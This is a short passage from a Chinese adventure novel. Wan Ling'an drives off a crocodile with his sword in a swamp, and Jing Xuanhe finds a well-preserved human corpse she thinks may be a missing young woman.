万灵安长剑挥舞,与大鳄鱼斗得难舍难分,泥水四溅,鳄鱼的巨口狠狠地咬在了他刚刚站立的地方,却被他飞身躲过。 他动作极快,鳄鱼似乎怒极,尾巴一摆,竟将身后的一棵枯树打断了。 就是此刻! 他一剑下去,银光大盛,鳄鱼的皮肤竟开始渗出血来,它愤怒地吼叫了一声,跳入沼泽之中,向更深处游去。 望着它们逐渐变小的背影,景暄和沉声说:“对于它们来说,我们本就是不速之客,看它们的样子一时半会也不会回来,我们还是先按兵不动吧,我怕沼泽深处还有更多的鳄鱼,要是将它们都惊动就不好了。” 万灵安收了剑,擦了擦剑上的鲜血,说了声“好”。 景暄和的目光却被万灵安身后的一具骸骨吸引了,那不是动物的残骸,而是……人类的。 因为沼泽中长期没有空气,尸身得以保存完整,她就像一尊泥塑,神态栩栩如生,仿佛不是死去了,而是睡着了。 “这是……靖萱姑娘?” 景暄和犹疑地望了万灵安一眼。